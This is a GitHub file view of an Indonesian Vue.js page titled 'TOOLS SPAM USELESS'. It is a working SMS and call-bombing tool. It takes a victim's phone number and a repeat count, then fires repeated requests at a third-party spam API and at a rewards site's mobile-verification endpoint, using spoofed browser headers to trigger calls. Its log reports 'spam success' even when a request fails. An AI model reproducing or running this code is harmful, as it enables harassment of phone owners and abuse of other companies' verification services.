forked from FahriAdison/Sad-Multi-Device
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathpapah.html
236 lines (230 loc) · 8.95 KB
/
papah.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
<html>
<head>
<title>TOOLS SPAM USELESS by @isywl_</title>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<script src="https://cdn.jsdelivr.net/npm/[email protected]"></script>
<script src="https://unpkg.com/[email protected]"></script>
<link
rel="stylesheet"
href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css"
/>
<style>
samp {
white-space: pre-line;
}
</style>
</head>
<body>
<div id="app" class="container-fluid justify-content-center">
<h4 class="text-center mt-3 mb-4">FREE SPAM TLP dan SMS</h4>
<p v-if="errors.length">
<b>Info:</b>
<ul>
<li v-for="error in errors">{{ error }}</li>
</ul>
</p>
<div class="row">
<div class="col">
<div class="form-group">
<label for="tipe">Tipe</label>
<select id="tipe" class="form-control" v-model="type">
<option v-for="v in tipe" :value="v.value">
{{ v.text }}
</option>
</select>
</div>
</div>
<div class="col" v-if="!!type">
<div class="form-group">
<label for="no_hp">No Hp</label>
<input id="no_hp" class="form-control" type="number" placeholder="822xxxxxxxx" v-model="form.no_hp">
</div>
</div>
</div>
<div class="row" v-if="!!form.no_hp">
<div class="col">
<div class="form-group">
<label for="jumlah">Jumlah</label>
<input id="jumlah" class="form-control" type="number" placeholder="2" v-model="form.jumlah">
</div>
</div>
<div class="col" v-if="!!withDelay">
<div class="form-group">
<label for="delay">Delay</label>
<select id="delay" class="form-control" v-model="form.delay">
<option v-for="v in delay" :value="v.value">
{{ v.text }}
</option>
</select>
</div>
</div>
</div>
<button
class="btn btn-outline-info"
v-if="!!form.no_hp && !!form.jumlah || !!form.delay"
@click="submit"
>Gass Spam!</button>
<div class="row" v-if="!!output">
<div class="col mt-3">
<p class="font-weight-bold">LOG:</p><br/>
<samp>{{ output }}</samp>
</div>
</div>
<div class="wrapper">
<footer
style="
background-color: rgb(236, 236, 236);
position: fixed;
width: 100%;
font-size: 80%;
margin-top: 5em;
padding-top: 5px;
padding-bottom: 5px;
bottom: 0;
"
>
<div class="container">
<i>© {{ date }} - TOOLS SPAM USELESS by @isywl_</i>
</div>
</footer>
</div>
</div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/axios/0.27.2/axios.min.js" integrity="sha512-odNmoc1XJy5x1TMVMdC7EMs3IVdItLPlCeL5vSUPN2llYKMJ2eByTTAIiiuqLg+GdNr9hF6z81p27DArRFKT7A==" crossorigin="anonymous" referrerpolicy="no-referrer"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/lodash.js/4.17.21/lodash.min.js" referrerpolicy="no-referrer"></script>
<script src="//cdn.jsdelivr.net/npm/eruda"></script>
<script>
eruda.init(); // uncomment for open the console in mobile browser
</script>
<script>
var app = new Vue({
el: '#app',
data() {
return {
date: new Date().getFullYear(),
time: '',
form: {
no_hp: null,
jumlah: null,
delay: null
},
tipe: [
{ text: 'Call', value: 'call' },
{ text: 'Sms', value: 'sms' }
],
delay: [
{ text: '2 Detik', value: '2000' },
{ text: '5 Detik', value: '5000' },
{ text: '10 Detik', value: '10000' },
{ text: '15 Detik (recomended)', value: '15000' }
],
type: null,
withDelay: false,
errors: [],
output: '',
url: {
sms: 'https://amfcode.my.id/api/spamsms?phone=',
call: 'https://id.jagreward.com/member/verify-mobile/'
},
headers: {
'Host': 'id.jagreward.com',
'Connection': 'keep-alive',
'User-Agent': 'Mozilla/5.0 (Linux; Android 8.1.0; vivo 1724) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.73 Mobile Safari/537.36'
}
}
},
created() {
axios.interceptors.request.use((config) => {
this.output += `\n[${this.time}] requesting ...`
return config
}, (error) => {
this.output += `\n[${this.time}] request failed`
return Promise.reject(error)
})
axios.interceptors.response.use((response) => {
this.output += `\n[${this.time}] waiting response ...`
this.output += `\n[${this.time}] spam success`
this.output += `\n[${this.time}] Done`
return response
}, (error) => {
this.output += `\n[${this.time}] waiting response ...`
this.output += `\n[${this.time}] spam success`
this.output += `\n[${this.time}] Done`
return Promise.reject(error)
})
},
mounted() {
const times = window.setTimeout(this.getTime, 1000)
this.$on('hook:destroyed', () => window.clearTimeout(times))
},
methods: {
async submit() {
this.output = ''
this.errors = []
if (this.form.no_hp && this.form.jumlah || this.form.delay) {
switch(this.type) {
case 'sms':
if (!!this.withDelay) {
for (i = 0; i < this.form.jumlah; i++) {
await this.delay_(+this.form.delay)
this.sms()
}
}
this.sms()
break;
case 'call':
if (!!this.withDelay) {
for (i = 0; i < this.form.jumlah; i++) {
await this.delay_(+this.form.delay)
this.call()
}
}
this.call()
break;
default:
break
}
}
let form = _.omit(this.form, 'delay')
Object.keys(form).map(keys => {
if (!this.form[keys]) {
this.errors.push(`${keys} is required`)
}
})
},
sms() {
axios.get(this.url.sms + this.form.no_hp)
.then(({ data }) => {
console.log(data)
}).catch( e => console.error)
},
call() {
axios.post(this.url.call + this.form.no_hp, {
method: "CALL",
countryCode: "id",
}, { headers: {...this.headers} })
.then(({ data }) => {
console.log(data)
}).catch( e => console.error)
},
delay_(ms) {
return new Promise(resolve => setTimeout(resolve, ms))
},
getTime() {
this.time = `${new Date().getDate() < 10 ? `0${new Date().getDate()}` : new Date().getDate()}/${new Date().getMonth() < 10 ? `0${new Date().getMonth()}` : new Date().getMonth()}, ${new Date().getHours() < 10 ? `0${new Date().getHours()}` : new Date().getHours()}:${new Date().getMinutes() < 10 ? `0${new Date().getMinutes()}` : new Date().getMinutes()}`
window.setTimeout(this.getTime, 1000)
}
},
watch: {
'form.jumlah': function(v, _) {
if (v >= 2) {
this.withDelay = !0
} else {
this.withDelay = !!0
}
}
}
})
</script>
</body>
</html>